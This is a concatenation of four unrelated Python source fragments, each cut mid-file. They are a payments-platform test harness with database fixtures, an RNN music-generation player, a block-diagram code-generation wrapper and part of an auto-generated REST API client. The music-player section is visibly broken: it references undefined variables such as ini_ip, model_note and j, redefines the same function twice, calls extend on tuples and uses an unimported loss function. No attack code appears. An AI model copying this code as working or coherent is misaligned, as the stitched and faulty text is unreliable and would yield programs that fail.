('db_meta', 'app_conf', 'payday_transfers', 'currency_exchange_rates') """) seq = itertools.count(0) @classmethod def setUpClass(cls): cls_name = cls.__name__ if cls_name[4:5].isupper(): cls_id = sum(ord(c) - 97 << (i*5) for i, c in enumerate(cls_name[4:10].lower())) else: cls_id = 1 cls.db.run("ALTER SEQUENCE exchanges_id_seq RESTART WITH %s", (cls_id,)) cls.db.run("ALTER SEQUENCE transfers_id_seq RESTART WITH %s", (cls_id,)) cls.setUpVCR() transactions.QUARANTINE = '0 seconds' @classmethod def setUpVCR(cls): """Set up VCR. We use the VCR library to freeze API calls. Frozen calls are stored in tests/fixtures/ for your convenience (otherwise your first test run would take fooooorrr eeeevvveeerrrr). If you find that an API call has drifted from our frozen version of it, simply remove that fixture file and rerun. The VCR library should recreate the fixture with the new information, and you can commit that with your updated tests. """ cls.vcr_cassette = use_cassette(cls.__name__) cls.vcr_cassette.__enter__() @classmethod def tearDownClass(cls): cls.vcr_cassette.__exit__(None, None, None) transactions.QUARANTINE = cls.QUARANTINE def setUp(self): self.clear_tables() def tearDown(self): self.clear_tables() def clear_tables(self): tried = set() tablenames = self.tablenames[:] while tablenames: tablename = tablenames.pop() try: # I tried TRUNCATE but that was way slower for me. self.db.run("DELETE FROM %s CASCADE" % tablename) except (IntegrityError, InternalError): if not tablenames: raise tablenames.insert(0, tablename) if tuple(tablenames) in tried: # Stop infinite loop raise self.tablenames.remove(tablename) self.tablenames.insert(0, tablename) tried.add(tuple(tablenames)) self.db.run("ALTER SEQUENCE participants_id_seq RESTART WITH 1") self.db.run("ALTER SEQUENCE paydays_id_seq RESTART WITH 1") def make_elsewhere(self, platform, user_id, user_name, domain='', **kw): info = UserInfo(platform=platform, user_id=str(user_id), user_name=user_name, domain=domain, **kw) return AccountElsewhere.upsert(info) def make_participant(self, username, **kw): platform = kw.pop('elsewhere', 'github') domain = kw.pop('domain', '') kw2 = {} for key in ('balance', 'mangopay_wallet_id'): if key in kw: kw2[key] = kw.pop(key) kind = kw.setdefault('kind', 'individual') is_person = kind not in ('group', 'community') if is_person: i = next(self.seq) kw.setdefault('mangopay_user_id', -i) kw.setdefault('status', 'active') if username: kw['username'] = username if 'join_time' not in kw: kw['join_time'] = utcnow() kw.setdefault('email_lang', 'en') kw.setdefault('main_currency', 'EUR') kw.setdefault('accepted_currencies', kw['main_currency']) cols, vals = zip(*kw.items()) cols = ', '.join(cols) placeholders = ', '.join(['%s']*len(vals)) participant = self.db.one(""" INSERT INTO participants ({0}) VALUES ({1}) RETURNING participants.*::participants """.format(cols, placeholders), vals) if platform: self.db.run(""" INSERT INTO elsewhere (platform, user_id, user_name, participant, domain) VALUES (%s,%s,%s,%s,%s) """, (platform, participant.id, username, participant.id, domain)) if is_person and participant.mangopay_user_id: wallet_id = kw2.get('mangopay_wallet_id', -participant.id) zero = Money.ZEROS[participant.main_currency] self.db.run(""" INSERT INTO wallets (remote_id, balance, owner, remote_owner_id) VALUES (%s, %s, %s, %s) """, (wallet_id, zero, participant.id, participant.mangopay_user_id)) if 'email' in kw: self.db.run(""" INSERT INTO emails (participant, address, verified, verified_time) VALUES (%s, %s, true, now()) """, (participant.id, kw['email'])) if 'balance' in kw2 and kw2['balance'] != 0: self.make_exchange('mango-cc', kw2['balance'], 0, participant) return participant def make_stub(self, **kw): return Participant.make_stub(**kw) def fetch_payday(self): return self.db.one("SELECT * FROM paydays", back_as=dict) def make_exchange(self, route, amount, fee, participant, status='succeeded', error='', vat=0): amount = amount if isinstance(amount, Money) else Money(amount, 'EUR') fee = fee if isinstance(fee, Money) else Money(fee, amount.currency) vat = vat if isinstance(vat, Money) else Money(vat, fee.currency) if not isinstance(route, ExchangeRoute): network = route currency = amount.currency if network == 'mango-cc' else None routes = ExchangeRoute.from_network(participant, network, currency=currency) if routes: route = routes[0] else: from .mangopay import MangopayHarness address = MangopayHarness.card_id if network == 'mango-cc' else -participant.id route = ExchangeRoute.insert(participant, network, address, 'chargeable', currency=currency) assert route e_id = record_exchange(self.db, route, amount, fee, vat, participant, 'pre').id record_exchange_result(self.db, e_id, -e_id, status, error, participant) return e_id def make_transfer(self, tipper, tippee, amount, context='tip', team=None, status='succeeded'): wallet_from, wallet_to = '-%i' % tipper, '-%i' % tippee t_id = prepare_transfer( self.db, tipper, tippee, amount, context, wallet_from, wallet_to, team=team ) _record_transfer_result(self.db, t_id, status) return t_id def get_balances(self): return dict(self.db.all(""" SELECT p.username, basket_sum(w.balance) AS balances FROM wallets w JOIN participants p ON p.id = w.owner GROUP BY p.username """)) def make_payin_and_transfer( self, route, tippee, amount, status='succeeded', error=None, payer_country=None, fee=None, remote_id='fake', **opt ): payin, payin_transfers = self.make_payin_and_transfers( route, amount, [(tippee, amount, opt)], status=status, error=error, payer_country=payer_country, fee=fee, remote_id=remote_id, ) if len(payin_transfers) == 1: return payin, payin_transfers[0] else: return payin, payin_transfers def make_payin_and_transfers( self, route, amount, transfers, status='succeeded', error=None, payer_country=None, fee=None, remote_id='fake', ): payer = route.participant payin = prepare_payin(self.db, payer, amount, route) provider = route.network.split('-', 1)[0] for tippee, pt_amount, opt in transfers: tip = opt.get('tip') if tip: assert tip.tipper == payer.id assert tip.tippee == tippee.id else: tip = self.db.one(""" SELECT * FROM current_tips WHERE tipper = %s AND tippee = %s """, (payer.id, tippee.id)) assert tip for i in range(100): try: prepare_donation( self.db, payin, tip, tippee, provider, payer, payer_country, pt_amount ) except MissingPaymentAccount as e: if i > 95: # Infinite loop? raise recipient = e.args[0] if recipient.kind == 'group': raise self.add_payment_account(recipient, provider) else: break payin = update_payin(self.db, payin.id, remote_id, status, error, fee=fee) net_amount = payin.amount - (fee or 0) adjust_payin_transfers(self.db, payin, net_amount) payin_transfers = self.db.all(""" SELECT * FROM payin_transfers WHERE payin = %s ORDER BY ctime """, (payin.id,)) for tippee, pt_amount, opt in transfers: for i, pt in enumerate(payin_transfers): payin_transfers[i] = update_payin_transfer( self.db, pt.id, opt.get('remote_id', 'fake'), opt.get('status', status), opt.get('error', error) ) if pt.team: Participant.from_id(pt.recipient).update_receiving() tippee.update_receiving() payer.update_giving() return payin, payin_transfers def add_payment_account(self, participant, provider, country='FR', **data): if provider == 'paypal': data.setdefault('id', participant.email or participant.username) else: data.setdefault('id', 'acct_1ChyayFk4eGpfLOC') data.setdefault('default_currency', None) data.setdefault('charges_enabled', True) data.setdefault('verified', True) data.setdefault('display_name', None) data.setdefault('token', None) data.update(p_id=participant.id, provider=provider, country=country) return self.db.one(""" INSERT INTO payment_accounts (participant, provider, country, id, default_currency, charges_enabled, verified, display_name, token) VALUES (%(p_id)s, %(provider)s, %(country)s, %(id)s, %(default_currency)s, %(charges_enabled)s, %(verified)s, %(display_name)s, %(token)s) RETURNING * """, data) def insert_email(self, address, participant_id, verified=True): verified_time = utcnow() if verified else None return self.db.one(""" INSERT INTO emails (address, verified, verified_time, participant) VALUES (%(address)s, %(verified)s, %(verified_time)s, %(participant_id)s) RETURNING * """, locals()) def upsert_route(self, participant, network, status='chargeable', one_off=False, address='x', remote_user_id='x'): r = self.db.one(""" INSERT INTO exchange_routes AS r (participant, network, address, status, one_off, remote_user_id) VALUES (%s, %s, %s, %s, %s, %s) ON CONFLICT (participant, network, address) DO UPDATE SET status = excluded.status , one_off = excluded.one_off , remote_user_id = excluded.remote_user_id RETURNING r """, (participant.id, network, address, status, one_off, remote_user_id)) r.__dict__['participant'] = participant return r def attach_stripe_payment_method(self, participant,
from polymuse import rnn, dutils, dataset, dataset2 as d2, enc_deco from polymuse.losses import rmsecat import tensorflow as tf import numpy, random """ rnn_player -- capable of playing/generating the music output as octave/time encoded representation These also includes two most important functions : * shift: * add_flatroll: """ def rmsecat(depth): def rmsecat_(y_true, y_pred): a = [] h_ = None for i in range(depth * 2): h__ = categorical_crossentropy(y_true[:, i : i + 16], y_pred[ :, i : i + 16]) if h_ is None: h_ = tf.square(h__) else: h_ += tf.square(h__) a = (tf.sqrt(h_) / (2 * depth)) return a return rmsecat_ def rsingle_note_stateful_play(model_note, ini_ip, y_expected_note = None, bs = 32, ip_memory = None, predict_instances = 250): """stateful player Arguments: model_note {keras.Sequential} -- [description] ini_ip {numpy.ndarray} -- input initiater, shape (note_instances, ip_memory, depth, tuple(enc)), enc = (2, 16) Keyword Arguments: y_expected_note {numpy.ndarray} -- [description] (default: {None}) ip_memory {int} -- [description] (default: {None}) predict_instances {int} -- [description] (default: {250}) Returns: [numpy.ndarray] -- [description] """ model_note = rnn.load(model_note) if type(model_note) == str else model_note ip_memory = ip_memory if ip_memory else ini_ip.shape[1] depth = ini_ip.shape[2] enc = ini_ip.shape[3:] r1 = random.randint(0, ini_ip.shape[0]) inp = numpy.zeros((bs, ip_memory, depth) + enc) print("iin inin : ", inp.shape) print(r1) ini = numpy.array(ini_ip) bs_ = ini.shape[0] print("iin iniiiiiiiii : ", ini.shape) inp[bs - (bs_ - r1):] = ini[r1: r1+bs] print('inp note shape : ', inp.shape) notes_shape = (1, predict_instances) + inp.shape[2:] predict_instances = (predict_instances // bs) * bs mem = inp.shape[1] notes = numpy.zeros(notes_shape) print(bs, "--bs") print("notes : ", notes.shape) for tm in range(0, predict_instances, bs): y = rnn.predict(model_note, inp) for j in range(bs): for i in range(y.shape[1]): # ocn, freqn = dutils.sample(y[j, i, 0], temperature= 3), dutils.sample(y[j, i, 1], temperature= 3) ocn, freqn = numpy.argmax(y[j, i, 0]), dutils.sample(y[j, i, 1], temperature= 3) y[j, i] = dutils.arg_oct_max(ocn, freqn, size = 16) # y[j, i] = dutils.arg_octave_max(y[j, i]) notes[0, tm : tm + bs] = y #Note Value inp = shift(inp, axis= 1) add_flatroll(inp, y) pass return notes def rnote_track_stateful_player(mnote, ini= None, expected_note= None, TM = 8, bs = 32, ip_memory = 32, DEPTH = 1, predict_instances = 400): model_note = rnn.load(model_note) if type(model_note) == str else model_note ip_memory = ip_memory if ip_memory else ini.shape[1] depth = ini.shape[2] enc = ini.shape[3:] r1 = random.randint(0, ini.shape[0]) inp = numpy.zeros((bs, ip_memory, depth) + enc) print("iin inin : ", inp.shape) print(r1) ini = numpy.array(ini_ip) bs_ = ini.shape[0] print("iin iniiiiiiiii : ", ini.shape) inp[bs - (bs_ - r1):] = ini[r1: r1+bs] print('inp note shape : ', inp.shape) notes_shape = (1, predict_instances) + inp.shape[2:] predict_instances = (predict_instances // bs) * bs mem = inp.shape[1] notes = numpy.zeros(notes_shape) print(bs, "--bs") print("notes : ", notes.shape)# notes[0, :mem, :] = inp #initiating the start k = 0 for tm in range(0, predict_instances): # print("loop", tm) if k >= inp.shape[0] and inp.shape[0] != 1: k = random.randint(0, inp.shape[0] - 1) if inp.shape[0] == 0: k = 0 print('inp : ', inp[k].shape, "k : ", k) inp_ = numpy.reshape(inp[k:k+1], (1, ip_memory, -1)) y = rnn.predict_b(model_note, inp_) y = numpy.reshape(y, (1, DEPTH, 2, 16)) y_len = numpy.zeros((1, 64)) y_len[ :, TM] = 1 for j in range(bs): # print('y : ', y, y.shape) for i in range(y.shape[1]): # ocn, freqn = dutils.sample(y[j, i, 0], temperature= 3), dutils.sample(y[j, i, 1], temperature= 3) ocn, freqn = numpy.argmax(y[j, i, 0]), dutils.sample(y[j, i, 1], temperature= 3) y[j, i] = dutils.arg_oct_max(ocn, freqn, size = 16) # y[j, i] = dutils.arg_octave_max(y[j, i]) notes[0, tm : tm + bs] = y # time[0, tm : tm + bs] = y_len k += 1 pass return enc_deco.octave_to_sFlat(notes) def rsingle_note_time_play(model_note, model_time, ini_ip, ini_ip_tm, y_expected_note = None, y_expected_time = None, ip_memory = None, predict_instances = 250): model_note = rnn.load(model_note) if type(model_note) == str else model_note model_time = rnn.load(model_time) if type(model_time) == str else model_time ip_memory = ip_memory if ip_memory else ini_ip.shape[0] inp = numpy.array([ini_ip]) # inp = numpy.array(ini_ip) inp_tm = numpy.array([ini_ip_tm]) print("inp time shape : ", inp_tm.shape) print('inp note shape : ', inp.shape) notes_shape = (1, predict_instances) + inp.shape[2:] time_shape = (1, predict_instances) + inp_tm.shape[2:] # notes_shape.extend(inp.shape[2:]) # time_shape.extend(inp_tm.shape[2:]) bs = inp.shape[0] predict_instances = (predict_instances // bs) * bs mem = inp.shape[1] notes = numpy.zeros(notes_shape) time = numpy.zeros(time_shape) print(bs, "--bs") print("notes, time : ", notes.shape, time.shape) # notes[0, :mem, :] = inp #initiating the start for tm in range(0, predict_instances): # print("loop", tm) y = rnn.predict_b(model_note, inp) y_len = rnn.predict_b(model_time, inp_tm) # print(y.shape, " --------------") if 95 < tm < 150 : # print("inp tm : ", inp_tm) # print("time : ", time[0, :10]) # print("shape : ", y.shape) # print("Expected y_len NOTE: ", y_expected_note[tm + 1]) # print("y_len : ", dutils.arg_octave_max(y[0, 0])) # print("+=================================================================+") # print("Expected y_len : ", y_expected_time[tm + 1]) # print("y_len -- : ", y_len[0]) # print("y_len : ", dutils.arg_max(y_len[0])) # print("ynum argmax : ", numpy.argmax(y_len[0])) pass for j in range(bs): y_len[j] = dutils.arg_max(y_len[j]) for j in range(bs): for i in range(y.shape[1]): y[j, i] = dutils.arg_octave_max(y[j, i]) notes[0, tm : tm + bs] = y time[0, tm : tm + bs] = y_len #Note Value inp = shift(inp, axis= 1) add_flatroll(inp, y) #Time Length inp_tm = shift(inp_tm, axis=1) add_flatroll(inp_tm, y_len) pass return notes, time def rsingle_note_time_play(model_note, model_time, ini_ip, ini_ip_tm, y_expected_note = None, y_expected_time = None, ip_memory = None, predict_instances = 250): model_note = rnn.load(model_note) if type(model_note) == str else model_note model_time = rnn.load(model_time) if type(model_time) == str else model_time ip_memory = ip_memory if ip_memory else ini_ip.shape[0] inp = numpy.array([ini_ip]) # inp = numpy.array(ini_ip) # inp_tm = numpy.array([ini_ip_tm]) print("inp time shape : ", inp_tm.shape) print('inp note shape : ', inp.shape) notes_shape = (1, predict_instances) + inp.shape[2:] time_shape = (1, predict_instances) + inp_tm.shape[2:] notes_shape.extend(inp.shape[2:]) time_shape.extend(inp_tm.shape[2:]) bs = inp.shape[0] predict_instances = (predict_instances // bs) * bs mem = inp.shape[1] notes = numpy.zeros(notes_shape) time = numpy.zeros(time_shape) print(bs, "--bs") print("notes, time : ", notes.shape, time.shape) # notes[0, :mem, :] = inp #initiating the start for tm in range(0, predict_instances): # print("loop", tm) y = rnn.predict_b(model_note, inp) y_len = rnn.predict_b(model_time, inp_tm) # print(y.shape, " --------------") for j in range(bs): y_len[j] = dutils.arg_max(y_len[j]) for j in range(bs): for i in range(y.shape[1]): y[j, i] = dutils.arg_octave_max(y[j, i]) notes[0, tm : tm + bs] = y time[0, tm : tm + bs] = y_len #Note Value inp = shift(inp, axis= 1) add_flatroll(inp, y) #Time Length inp_tm = shift(inp_tm, axis=1) add_flatroll(inp_tm, y_len) pass return notes, time def rsing_note_time_play(model_note, model_time, ini_ip, ini_ip_tm, y_expected_note = None, y_expected_time = None, ip_memory = None, predict_instances = 250): model_note = rnn.load(model_note) if type(model_note) == str else model_note model_time = rnn.load(model_time) if type(model_time) == str else model_time ip_memory = ip_memory if ip_memory else ini_ip.shape[0] inp = numpy.array([ini_ip]) inp_tm = numpy.array([ini_ip_tm]) print("inp time shape : ", inp_tm.shape) print('inp note shape : ', inp.shape) notes_shape = (1, predict_instances) + inp.shape[2:] time_shape = (1, predict_instances) + inp_tm.shape[2:] # notes_shape.extend(inp.shape[2:]) # time_shape.extend(inp_tm.shape[2:]) mem = inp.shape[1] notes = numpy.zeros(notes_shape) time = numpy.zeros(time_shape) print("notes, time : ", notes.shape, time.shape) # notes[0, :mem, :] = inp #initiating the start for tm in range(predict_instances): # print("loop", tm) y = rnn.predict_b(model_note, inp) y_len = rnn.predict_b(model_time, inp_tm) # print(y.shape, y_len.shape) if 95 < tm < 150 : # print(y.shape, y_len.shape) pass y_len[0] = dutils.arg_max(y_len[0]) for i in range(y.shape[1]): # ocn, freqn = dutils.sample(y[j, i, 0], temperature= 3), dutils.sample(y[j, i, 1], temperature= 3) ocn, freqn = numpy.argmax(y[j, i, 0]), dutils.sample(y[j, i, 1], temperature= 3) y[j, i] = dutils.arg_oct_max(ocn, freqn, size = 16) # y[0, i] = dutils.arg_octave_max(y[0, i]) notes[0, tm] = y[0] time[0, tm] = y_len[0] #Note Value inp = shift(inp, axis= 1) add_flatroll(inp, y) #Time Length inp_tm = shift(inp_tm, axis=1) add_flatroll(inp_tm, y_len) pass return notes, time def rnn_dense_player(models, ini, ip_memory = None, predict_instances= 400): #works on tick
from .diagram_core.system import System from .diagram_core import datatypes as dt from .diagram_core.signal_network.signals import Signal from .diagram_core import code_generation_helper as cgh from . import block_interface as bi from typing import Dict, List class SystemWrapper: def __init__(self, system : System): self._system = system # info that becomes available after callback_on_system_compiled() is called self._manifest = None self._instance_varname = None self._inputs = None @property def inputs(self): return self._inputs @property def outputs(self): return self._system.primary_outputs @property def system_name(self): return self._system.name def callback_on_system_compiled(self, unique_variable_prefix : str): self._inputs = self._system.compile_result.inputSignals self._manifest = self._system.compile_result.manifest self._instance_varname = unique_variable_prefix + '_subsystem_' + self._manifest.API_name # input signals for calculating the outputs and updating the states. The lists are ordered self.inputs_to_calculate_outputs = self._system.compile_result.simulationInputSignalsToCalculateOutputs self.inputs_to_update_states = self._system.compile_result.simulationInputSignalsToUpdateStates def generate_code_defStates(self, language): if language == 'c++': lines = '// instance of ' + self._manifest.API_name + '\n' lines += self._manifest.API_name + ' ' + self._instance_varname + ';\n' return lines def generate_code_reset(self, language): if language == 'c++': return self._instance_varname + '.' + self._manifest.getAPIFunctionName('reset') + '();\n' def generate_code_update(self, language): return self._instance_varname + '.' + self._manifest.getAPIFunctionName('state_update') + '(' + cgh.signal_list_to_names_string(self.inputs_to_update_states) + ');\n' def generate_code_output_list(self, language, signals : List [ Signal ] ): if language == 'c++': lines = '' # # TO THINK ABOUT: 2.5.2020: concept: how to compute only the necessary signals? # # # REWORK 30.3.2021: introduce call to fn(Inputs & inputs, Outputs & outputs) # and remove the prev. style # # create temporary variables for each output signal output_variable_names = [] for s in self.outputs: # for each output of the subsystem reservate a variable if s not in signals: lines += '// NOTE: unused output signal' + s.name + '\n' else: lines += '' output_var_name = '_' + s.name output_variable_names.append( output_var_name ) lines += s.datatype.cpp_define_variable( output_var_name ) + ';\n' lines += cgh.call_function_from_varnames( fn_name = self._instance_varname + '.' + self._manifest.getAPIFunctionName('calculate_output'), input_names = cgh.signal_list_to_name_list(self.inputs_to_calculate_outputs), output_names = output_variable_names ) return lines, output_variable_names # NOTE: check if this might be helpful, otherwise remove def collectDependingSignals(signals, manifestFunctionInputs): # collect all depending input signals (that are needed to calculate the output) in a list # MOVE TO A FUNCTION. MAYBE MOVE TO MANIFEST.PY dependingInputs = [] for i in range( len(manifestFunctionInputs['names']) ): dependingInput_name = manifestFunctionInputs['names'][i] dependingInput_type = manifestFunctionInputs['types'][i] dependingInput_cpptype = manifestFunctionInputs['cpptypes'][i] # TODO: CHECK FOR FAILING LOOKUP signal = signals[ dependingInput_name ] # check datatype if not signal.getDatatype().cpp_datatype_string == dependingInput_cpptype: raise BaseException('datatype does not match the one specified in the manifest. (' + (dependingInput_cpptype) + ' is required in the manifest)' ) # append signal dependingInputs.append( signal ) return dependingInputs # helper fn for classes that are derived from SingleSubsystemEmbedder and XX def embed_subsystem( language, system_wrapper : SystemWrapper, assign_to_signals=None, assign_to_variable_names=None, indices_of_output_signals_of_subsystem=None, calculate_outputs = True, update_states = False, reset_states=False ): """ generate code to call a subsystem given a system wrapper - system_wrapper - the system wrapper including the subsystem - type: : dy.SystemWrapper - assign_to_signals / assign_to_variable_names - list of signals / variable names to which the output signals of the subsystem are assigned to - indices_of_output_signals_of_subsystem - the indices of the output signals of the embedded subsystem - calculate_outputs - generate a call to the output computation API function of the subsystem - update_states - generate a call to the state update API function of the subsystem """ lines = '{ // subsystem ' + system_wrapper.system_name + '\n' innerLines = '' # # system_prototype is of type SystemWrapper. call the code generation routine of the subsystem # if reset_states: innerLines += system_wrapper.generate_code_reset(language) # generate code for calculating the outputs if calculate_outputs: # extract the signals names if assign_to_signals is not None and assign_to_variable_names is None: assign_to_variable_names = cgh.signal_list_to_name_list(assign_to_signals) elif assign_to_variable_names is not None: pass else: raise BaseException('incorrect call') wrapper_code, output_variable_names_of_subsystem = system_wrapper.generate_code_output_list(language, system_wrapper.outputs) innerLines += wrapper_code # copy the output values of the subsystem to the variables name 'assign_to_variable_names' for i in range( 0, len( indices_of_output_signals_of_subsystem ) ): output_signal_index = indices_of_output_signals_of_subsystem[i] output_variable_name_of_subsystem = output_variable_names_of_subsystem[output_signal_index] innerLines += cgh.assign( output_variable_name_of_subsystem, assign_to_variable_names[i] ) # generate code for updating the states if update_states: innerLines += system_wrapper.generate_code_update(language) lines += cgh.indent(innerLines) lines += '}\n' return lines # # helper functions for both SingleSubsystemEmbedder and XX # def setup_output_datatype_inheritance( normal_outputs_of_embedding_block, subsystem_prototype ): # inherit output datatypes of this block from the embedded subsystem described by subsystem_prototype for i in range(0, len(normal_outputs_of_embedding_block) ): output_signal_of_embedding_block = normal_outputs_of_embedding_block[i] output_signal_of_subsystem = subsystem_prototype.outputs[i] output_signal_of_embedding_block.inherit_datatype_from_signal( output_signal_of_subsystem ) return class OutputMapEmbeddingBlockToSubsystem(): def __init__(self, normal_outputs_of_embedding_block, subsystem_prototype): self._output_signal_mapping, self._output_signal_index_mapping = self.create_output_mapping_table(normal_outputs_of_embedding_block, subsystem_prototype ) def create_output_mapping_table(self, normal_outputs_of_embedding_block, subsystem_prototype ): # output signal mapping: map each output of SingleSubsystemEmbedder to an output of the subsystem output_signal_mapping = {} # map output signal of embedding block to output index of the embedded block output_signal_index_mapping = {} for i in range(0, len(normal_outputs_of_embedding_block) ): # fill in mapping table if subsystem_prototype is not None: output_signal_mapping[ normal_outputs_of_embedding_block[i] ] = subsystem_prototype.outputs[i] output_signal_index_mapping[ normal_outputs_of_embedding_block[i] ] = i return output_signal_mapping, output_signal_index_mapping def map(self, output_signals_of_embedding_block): """ given the signals to calculate (variable signals) in the callbacks def generate_code_output_list(self, language, signals : List [ Signal ] ): resolve the mapping to the embedded subsystems output signals """ mapped_subsystem_output_signals = [] for s in output_signals_of_embedding_block: mapped_subsystem_output_signals.append( self._output_signal_mapping[s] ) return mapped_subsystem_output_signals def map_to_output_index(self, output_signals_of_embedding_block): """ return a mapping to indices of the block outputs: e.g. [sig0, sig1, sig2, sig4] --> [0, 1, 2, 4] """ mapped_subsystem_output_signals = [] for s in output_signals_of_embedding_block: mapped_subsystem_output_signals.append( self._output_signal_index_mapping[s] ) return mapped_subsystem_output_signals # # Subsystem prototypes # # class GenericSubsystem(bi.BlockPrototype): # """ # Include a sub-system by passing a manifest # - sim - the simulation this block is embedded into # parameters required only in case the subsystem is already defined (e.g. loaded from a library): # - manifest - the manifest of the subsystem to include (optional, might be handed over by init()) # - inputSignals - the inputs to the subsystem # - N_outputs - prepare a number of nOutputs (optional in case a manifest is given) # - embedded_subsystem - the system to embed (optional in case a manifest to an already compiled subsystem is given, NOT IMPLEMENTED) # Note: the number of outputs must be defined either by N_outputs or by a manifest # """ # def __init__(self, sim : System = None, manifest=None, inputSignals=None, N_outputs = None, embedded_subsystem=None ): # self.manifest = manifest # self.inputSignals = inputSignals # self.sim = sim # self.Noutputs = N_outputs # self._embedded_subsystem = embedded_subsystem # if manifest is not None: # if N_outputs is None: # self.Noutputs = self.manifest.number_of_default_ouputs # else: # raise BaseException("N_outputs and a manifest specified at the same time") # # # output signals that were created by sth. ourside of this prototype # # # and that need to be connected to the actual outputs when init() is called. # # self.anonymous_output_signals = None # # optional (in case this block is in charge of putting the code for the subsystem) # self.compileResult = None # # init super class # bi.BlockPrototype.__init__(self, self.sim, N_outputs = self.Noutputs) # # Note: the inputSignals are not defined when subsystems are pre-defined in the code # # but are automatically placed and connected by the compiler during compilation # # check if it is already possible to init this prototype # # (in case all requred information is available) # if inputSignals is not None and manifest is not None: # self.init() # # configure datatype inheritance for the outputs signals # for i in range(0, len( embedded_subsystem.primary_outputs )): # output_signal_of_embedding_block = self.outputs[i] # output_signal_of_subsystem = embedded_subsystem.primary_outputs[i] # output_signal_of_embedding_block.inherit_datatype_from_signal( output_signal_of_subsystem ) # @property # def embedded_subsystem(self): # """ # Return the system that is embedded (in case it was provided, returns None otherwise) # """ # return self._embedded_subsystem # def compile_callback_all_subsystems_compiled(self): # embedded_system = self._embedded_subsystem # # # # continue init as now all subsystems are compiled and the compile results and the manifest of # # the system to compile is available. # # # self.init(embedded_system.compile_result.manifest, embedded_system.compile_result, embedded_system.compile_result.inputSignals) # # post_compile_callback (called after the subsystem to embed was compiled) # def init(self, manifest, compileResult, inputSignals): # """ # This is a second phase initialization of this subsystem block # (to be called by compile_callback_all_subsystems_compiled()) # This function shall be called when the subsystem to embed is compiled # after the
Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['id'] = \ id return self.call_with_http_info(**kwargs) self.delete_entity_data_sources = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/entities/dataSources/{id}', 'operation_id': 'delete_entity_data_sources', 'http_method': 'DELETE', 'servers': None, }, params_map={ 'all': [ 'id', 'predicate', 'filter', ], 'required': [ 'id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ 'id', ] }, root_map={ 'validations': { ('id',): { 'regex': { 'pattern': r'^[.A-Za-z0-9_-]{1,255}$', # noqa: E501 }, }, }, 'allowed_values': { }, 'openapi_types': { 'id': (str,), 'predicate': ({str: (bool, date, datetime, dict, float, int, list, str, none_type)},), 'filter': (str,), }, 'attribute_map': { 'id': 'id', 'predicate': 'predicate', 'filter': 'filter', }, 'location_map': { 'id': 'path', 'predicate': 'query', 'filter': 'query', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [], }, api_client=api_client, callable=__delete_entity_data_sources ) def __delete_entity_user_groups( self, id, **kwargs ): """delete_entity_user_groups # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_entity_user_groups(id, async_req=True) >>> result = thread.get() Args: id (str): Keyword Args: predicate ({str: (bool, date, datetime, dict, float, int, list, str, none_type)}): Composed query parameters used for filtering. 'id' parameter can be used for all objects. Other parameters are present according to object type (title, description,...). You can specify any object parameter and parameter of related entity up to 2nd level (for example name=John&language=english,czech&address.city=London&father.id=123).. [optional] filter (str): Filtering parameter in RSQL. See https://github.com/jirutka/rsql-parser.You can specify any object parameter and parameter of related entity up to 2nd level (for example title=='Some Title';description=='desc'). [optional] _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['id'] = \ id return self.call_with_http_info(**kwargs) self.delete_entity_user_groups = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/entities/userGroups/{id}', 'operation_id': 'delete_entity_user_groups', 'http_method': 'DELETE', 'servers': None, }, params_map={ 'all': [ 'id', 'predicate', 'filter', ], 'required': [ 'id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ 'id', ] }, root_map={ 'validations': { ('id',): { 'regex': { 'pattern': r'^[.A-Za-z0-9_-]{1,255}$', # noqa: E501 }, }, }, 'allowed_values': { }, 'openapi_types': { 'id': (str,), 'predicate': ({str: (bool, date, datetime, dict, float, int, list, str, none_type)},), 'filter': (str,), }, 'attribute_map': { 'id': 'id', 'predicate': 'predicate', 'filter': 'filter', }, 'location_map': { 'id': 'path', 'predicate': 'query', 'filter': 'query', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [], }, api_client=api_client, callable=__delete_entity_user_groups ) def __delete_entity_users( self, id, **kwargs ): """delete_entity_users # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_entity_users(id, async_req=True) >>> result = thread.get() Args: id (str): Keyword Args: predicate ({str: (bool, date, datetime, dict, float, int, list, str, none_type)}): Composed query parameters used for filtering. 'id' parameter can be used for all objects. Other parameters are present according to object type (title, description,...). You can specify any object parameter and parameter of related entity up to 2nd level (for example name=John&language=english,czech&address.city=London&father.id=123).. [optional] filter (str): Filtering parameter in RSQL. See https://github.com/jirutka/rsql-parser.You can specify any object parameter and parameter 